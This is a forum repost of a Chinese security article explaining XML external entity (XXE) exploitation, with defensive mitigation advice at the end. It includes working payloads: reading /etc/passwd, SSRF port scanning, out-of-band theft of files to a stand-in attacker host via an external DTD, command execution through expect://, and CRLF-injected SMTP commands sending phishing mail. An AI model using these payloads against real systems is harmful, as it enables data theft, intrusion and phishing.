搜索

[12996] 2018-07-29_XXE漏洞利用技巧：从XML到远程代码执行

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2018-07-29_XXE漏洞利用技巧：从XML到远程代码执行 X X E 漏 洞 利 用 技 巧 ： 从 X M L 到 远 程 代 码 执 行 s e c i s t   F r e e B u f   2 0 1 8 - 0 7 - 2 9 你 的 你 的 W e b 应 用 是 否 存 在 应 用 是 否 存 在 X X E 漏 洞 ？ 漏 洞 ？   如 果 你 的 应 用 是 通 过 用 户 上 传 处 理 如 果 你 的 应 用 是 通 过 用 户 上 传 处 理 X M L 文 件 或 文 件 或 P O S T 请 求 （ 例 如 将 请 求 （ 例 如 将 S A M L 用 于 单 点 登 录 服 务 甚 至 是 用 于 单 点 登 录 服 务 甚 至 是 R S S ） 的 ， 那 么 你 很 有 可 能 会 受 到 ） 的 ， 那 么 你 很 有 可 能 会 受 到 X X E 的 攻 的 攻 击 。 击 。 X X E 是 一 种 非 常 常 见 的 漏 洞 类 型 ， 我 们 几 乎 每 天 都 会 碰 到 它 。 在 去 年 的 几 次 是 一 种 非 常 常 见 的 漏 洞 类 型 ， 我 们 几 乎 每 天 都 会 碰 到 它 。 在 去 年 的 几 次 w e b 应 用 渗 透 中 ， 我 们 就 成 功 的 利 用 了 好 几 回 。 应 用 渗 透 中 ， 我 们 就 成 功 的 利 用 了 好 几 回 。 什 么 是 什 么 是 X X E 什 么 是 什 么 是 X X E 简 单 来 说 ， X X E 就 是 X M L 外 部 实 体 注 入 。 当 允 许 引 用 外 部 实 体 时 ， 通 过 构 造 恶 意 内 容 ， 就 可 能 导 致 任 意 文 件 读 取 、 系 统 命 令 执 行 、 内 网 端 口 探 测 、 攻 击 内 网 网 站 等 危 害 。 例 如 ， 如 果 你 当 前 使 用 的 程 序 为 P H P ， 则 可 以 将 l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r 设 置 为 T R U E 来 禁 用 外 部 实 体 ， 从 而 起 到 防 御 的 目 的 。 基 本 利 用 基 本 利 用 基 本 利 用 基 本 利 用 通 常 攻 击 者 会 将 p a y l o a d 注 入 X M L 文 件 中 ， 一 旦 文 件 被 执 行 ， 将 会 读 取 服 务 器 上 的 本 地 文 件 ， 并 对 内 网 发 起 访 问 扫 描 内 部 网 络 端 口 。 换 而 言 之 ， X X E 是 一 种 从 本 地 到 达 各 种 服 务 的 方 法 。 此 外 ， 在 一 定 程 度 上 这 也 可 能 帮 助 攻 击 者 绕 过 防 火 墙 规 则 过 滤 或 身 份 验 证 检 查 。 以 下 是 一 个 简 单 的 X M L 代 码 P O S T 请 求 示 例 ： P O S T   / v u l n e r a b l e   H T T P / 1 . 1 H o s t :   w w w . t e s t . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 7 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 7 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 R e f e r e r :   h t t p s : / / t e s t . c o m / t e s t . h t m l C o n t e n t - T y p e :   a p p l i c a t i o n / x m l C o n t e n t - L e n g t h :   2 9 4 C o o k i e :   m y c o o k i e = c o o k i e s ; C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 < ? x m l   v e r s i o n = " 1 . 0 " ? > < c a t a l o g >
      < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > X M L   i s   t h e   b e s t ! < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > 之 后 ， 上 述 代 码 将 交 由 服 务 器 的 X M L 处 理 器 解 析 。 代 码 被 解 释 并 返 回 ： { " R e q u e s t   S u c c e s s f u l " :   " A d d e d ! " } 现 在 ， 当 攻 击 者 试 图 滥 用 X M L 代 码 解 析 时 会 发 生 什 么 ？ 让 我 们 编 辑 代 码 并 包 含 我 们 的 恶 意 p a y l o a d ： < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   G V I   [ < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > ] > < c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > 代 码 被 解 释 并 返 回 ： { " e r r o r " :   " n o   r e s u l t s   f o r   d e s c r i p t i o n   r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h d a e m o n : x : 1 : 1 : d a e m o n : / u s r / s b i n : / b i n / s h b i n : x : 2 : 2 : b i n : / b i n : / b i n / s h s y s : x : 3 : 3 : s y s : / d e v : / b i n / s h s y n c : x : 4 : 6 5 5 3 4 : s y n c : / b i n : / b i n / s y n c . . . B l i n d   O O B   X X E B l i n d   O O B   X X E 如 上 例 所 示 ， 服 务 器 将 / e t c / p a s s w d 文 件 的 内 容 作 为 响 应 返 回 给 我 们 的 X X E 。 但 是 在 某 些 情 况 下 ， 即 便 服 务 器 可 能 存 在 X X E ， 也 不 会 向 攻 击 者 的 浏 览 器 或 代 理 返 回 任 何 响 应 。 遇 到 这 种 情 况 ， 我 们 可 以 使 用 B l i n d   X X E 漏 洞 来 构 建 一 条 外 带 数 据 ( O O B ) 通 道 来 读 取 数 据 。 虽 然 我 们 无 法 直 接 查 看 文 件 内 容 ， 但 我 们 仍 然 可 以 使 用 易 受 攻 击 的 服 务 器 作 为 代 理 ， 在 外 部 网 络 上 执 行 扫 描 以 及 代 码 。 场 景 场 景 1   -   端 口 扫 描 端 口 扫 描 在 第 一 个 示 例 中 ， 我 们 通 过 U R I 将 请 求 指 向 了 / e t c / p a s s w d 文 件 ， 并 最 终 成 功 的 为 我 们 返 回 了 文 件 中 的 内 容 。 除 此 之 外 ， 我 们 也 可 以 使 用 h t t p   U R I 并 强 制 服 务 器 向 我 们 指 定 的 端 点 和 端 口 发 送 G E T 请 求 ， 将 X X E 转 换 为 S S R F （ 服 务 器 端 请 求 伪 造 ） 。 以 下 代 码 将 尝 试 与 端 口 8 0 8 0 通 信 ， 根 据 响 应 时 间 / 长 度 ， 攻 击 者 将 可 以 判 断 该 端 口 是 否 已 被 开 启 。 < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   G V I   [ < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 "   > ] >
< c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > 场 景 场 景 2   -   通 过 通 过 D T D 窃 取 文 件 窃 取 文 件 外 部 文 档 类 型 定 义 （ D T D ） 文 件 可 被 用 于 触 发 O O B   X X E 。 攻 击 者 将 . d t d 文 件 托 管 在 V P S 上 ， 使 远 程 易 受 攻 击 的 服 务 器 获 取 该 文 件 并 执 行 其 中 的 恶 意 命 令 。 以 下 请 求 将 被 发 送 到 应 用 程 序 以 演 示 和 测 试 该 方 法 ： < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   d a t a   S Y S T E M   " h t t p : / / A T T A C K E R S E R V E R . c o m / x x e _ f i l e . d t d " > < c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > 上 述 代 码 一 旦 由 易 受 攻 击 的 服 务 器 处 理 ， 就 会 向 我 们 的 远 程 服 务 器 发 送 请 求 ， 查 找 包 含 我 们 的 p a y l o a d 的 D T D 文 件 ： < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   a l l   " < ! E N T I T Y   x x e   S Y S T E M   ' h t t p : / / A T T A C K E S E R V E R . c o m / ? % f i l e ; ' > " > % a l l ; 让 我 们 花 点 时 间 了 解 上 述 请 求 的 执 行 流 程 。 结 果 是 有 两 个 请 求 被 发 送 到 了 我 们 的 服 务 器 ， 第 二 个 请 求 为 / e t c / p a s s w d 文 件 的 内 容 。 在 我 们 的 V P S 日 志 中 我 们 可 以 看 到 ， 带 有 文 件 内 容 的 第 二 个 请 求 ， 以 此 我 们 也 确 认 了 O O B   X X E 漏 洞 的 存 在 ： h t t p : / / A T T A C K E R S E R V E R . c o m / ? d a e m o n % 3 A x % 3 A 1 % 3 A 1 % 3 A d a e m o n % 3 A % 2 F u s r % 2 F s b i n % 3 A % 2 F b i n % 2 F s h % 0 A b i n % 3 A x % 3 A 2 % 3 A 2 % 3 A b i n % 3 A % 2 F b i n % 3 A % 2 F b i n % 2 F s h 场 景 场 景 3   -   远 程 代 码 执 行 远 程 代 码 执 行 这 种 情 况 很 少 发 生 ， 但 有 些 情 况 下 攻 击 者 能 够 通 过 X X E 执 行 代 码 ， 这 主 要 是 由 于 配 置 不 当 / 开 发 内 部 应 用 导 致 的 。 如 果 我 们 足 够 幸 运 ， 并 且 P H P   e x p e c t 模 块 被 加 载 到 了 易 受 攻 击 的 系 统 或 处 理 X M L 的 内 部 应 用 程 序 上 ， 那 么 我 们 就 可 以 执 行 如 下 的 命 令 ： < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   G V I   [   < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   x x e   S Y S T E M   " e x p e c t : / / i d "   > ] >
< c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < a u t h o r > J o h n ,   D o e < / a u t h o r >             < t i t l e > I   l o v e   X M L < / t i t l e >             < c a t e g o r y > C o m p u t e r s < / c a t e g o r y >             < p r i c e > 9 . 9 9 < / p r i c e >             < d a t e > 2 0 1 8 - 1 0 - 0 1 < / d a t e >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > 响 应 ： { " e r r o r " :   " n o   r e s u l t s   f o r   d e s c r i p t i o n   u i d = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) . . . 场 景 场 景 4   -   钓 鱼 钓 鱼 我 们 使 用 J a v a 的 X M L 解 析 器 找 到 了 一 个 易 受 攻 击 的 端 点 。 扫 描 内 部 端 口 后 ， 我 们 发 现 了 一 个 侦 听 在 2 5 端 口 的 S M T P 服 务 ， J a v a 支 持 在 s u n . n e t . f t p . i m p l . F t p C l i e n t 中 的 f t p   U R I 。 因 此 ， 我 们 可 以 指 定 用 户 名 和 密 码 ， 例 如 f t p : / / u s e r : p a s s w o r d @ h o s t : p o r t / t e s t . t x t ， F T P 客 户 端 将 在 连 接 中 发 送 相 应 的 U S E R 命 令 。 但 是 如 果 我 们 将 % 0 D % 0 A   ( C R L F ) 添 加 到 U R L 的 u s e r 部 分 的 任 意 位 置 ， 我 们 就 可 以 终 止 U S E R 命 令 并 向 F T P 会 话 中 注 入 一 个 新 的 命 令 ， 即 允 许 我 们 向 2 5 端 口 发 送 任 意 的 S M T P 命 令 ： f t p : / / a % 0 D % 0 A E H L O % 2 0 a % 0 D % 0 A M A I L % 2 0 F R O M % 3 A % 3 C s u p p o r t % 4 0 V U L N E R A B L E S Y S T E M . c o m % 3 E % 0 D % 0 A R C P T % 2 0 T O % 3 A % 3 C v i c t i m % 4 0 g m a i l . c o m % 3 E % 0 D % 0 A D A T A % 0 D % 0 A F r o m % 3 A % 2 0 s u p p o r t % 4 0 V U L N E R A B L E S Y S T E M . c o m % 0 A T o % 3 A % 2 0 v i c t i m % 4 0 g m a i l . c o m % 0 A S u b j e c t % 3 A % 2 0 t e s t % 0 A % 0 A t e s t ! % 0 A % 0 D % 0 A . % 0 D % 0 A Q U I T % 0 D % 0 A : a @ V U L N E R A B L E S Y S T E M . c o m : 2 5 当 F T P 客 户 端 使 用 此 U R L 连 接 时 ， 以 下 命 令 将 会 被 发 送 给 V U L N E R A B L E S Y S T E M . c o m 上 的 邮 件 服 务 器 ： f t p : / / a E H L O   a M A I L   F R O M :   < s u p p o r t @ V U L N E R A B L E S Y S T E M . c o m > R C P T   T O :   < v i c t i m @ g m a i l . c o m > D A T A F r o m :   s u p p o r t @ V U L N E R A B L E S Y S T E M . c o m T o :   v i c t i m @ g m a i l . c o m S u b j e c t :   R e s e t   y o u r   p a s s w o r d
W e   n e e d   t o   c o n f i r m   y o u r   i d e n t i t y .   C o n f i r m   y o u r   p a s s w o r d   h e r e :   h t t p : / / P H I S H I N G _ U R L . c o m . Q U I T : s u p p o r t @ V U L N E R A B L E S Y S T E M . c o m : 2 5 这 意 味 着 攻 击 者 可 以 从 从 受 信 任 的 来 源 发 送 钓 鱼 邮 件 （ 例 如 ： 帐 户 重 置 链 接 ） 并 绕 过 垃 圾 邮 件 过 滤 器 的 检 测 。 除 了 链 接 之 外 ， 甚 至 我 们 也 可 以 发 送 附 件 。 实 用 工 具 实 用 工 具 实 用 工 具 实 用 工 具 能 手 动 编 辑 w e b 请 求 对 于 X X E 攻 击 至 关 重 要 ， 这 里 我 推 荐 大 家 使 用 B u r p S u i t e 。 B u r p S u i t e 的 扫 描 功 能 可 以 为 我 们 检 测 潜 在 的 X X E 漏 洞 ， 其 次 b u r p 的 I n t r u d e r 功 能 非 常 适 合 用 于 端 口 探 测 。 但 要 提 醒 的 是 工 具 只 是 我 们 的 辅 助 ， 在 某 些 情 况 下 手 动 测 试 可 能 效 果 更 好 ！ H T T P 请 求 分 析 工 具 像 R e q u e s t B i n   和   H o o k B i n   都 非 常 适 合 O O B   X X E 的 测 试 。 此 外 ， B u r p S u i t e   P r o 的 C o l l a b o r a t o r 也 是 个 不 错 的 选 择 ， 但 一 些 安 全 研 究 人 员 他 们 更 喜 欢 使 用 他 们 自 己 的 V P S 。 缓 解 措 施 缓 解 措 施 缓 解 措 施 缓 解 措 施 上 面 讨 论 的 主 要 问 题 就 是 X M L 解 析 器 解 析 了 用 户 发 送 的 不 可 信 数 据 。 然 而 ， 要 去 校 验 D T D ( d o c u m e n t   t y p e   d e f i n i t i o n ) 中 S Y S T E M 标 识 符 定 义 的 数 据 ， 并 不 容 易 ， 也 不 大 可 能 。 大 部 分 的 X M L 解 析 器 默 认 对 于 X X E 攻 击 是 脆 弱 的 。 因 此 ， 最 好 的 解 决 办 法 就 是 配 置 X M L 处 理 器 去 使 用 本 地 静 态 的 D T D ， 不 允 许 X M L 中 含 有 任 何 自 己 声 明 的 D T D 。 参 考 参 考 参 考 参 考 1 . h t t p s : / / b l o g . z s e c . u k / b l i n d - x x e - l e a r n i n g / 2 . h t t p s : / / w w w . a c u n e t i x . c o m / b l o g / a r t i c l e s / x m l - e x t e r n a l - e n t i t y - x x e - l i m i t a t i o n s / 3 . h t t p s : / / d e p t h s e c u r i t y . c o m / b l o g / e x p l o i t a t i o n - x m l - e x t e r n a l - e n t i t y - x x e - i n j e c t i o n 4 . h t t p s : / / m i k e k n o o p . c o m / l x m l - x x e - e x p l o i t / X X E   C h e a t s h e e t X X E   C h e a t s h e e t 1 . h t t p s : / / g i t h u b . c o m / s w i s s k y r e p o / P a y l o a d s A l l T h e T h i n g s / t r e e / m a s t e r / X X E % 2 0 i n j e c t i o n s 2 . h t t p s : / / w w w . g r a c e f u l s e c u r i t y . c o m / x x e - c h e a t s h e e t / 3 . h t t p s : / / g i s t . g i t h u b . c o m / a b d i l a h r f / 6 3 e a 0 a 2 1 d c 3 1 0 1 0 c 9 c 8 6 2 0 4 2 5 e 2 1 2 e 3 0 * 参 考 来 源 ： 参 考 来 源 ： g a r d i e n v i r t u e l ， ， F B 小 编 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理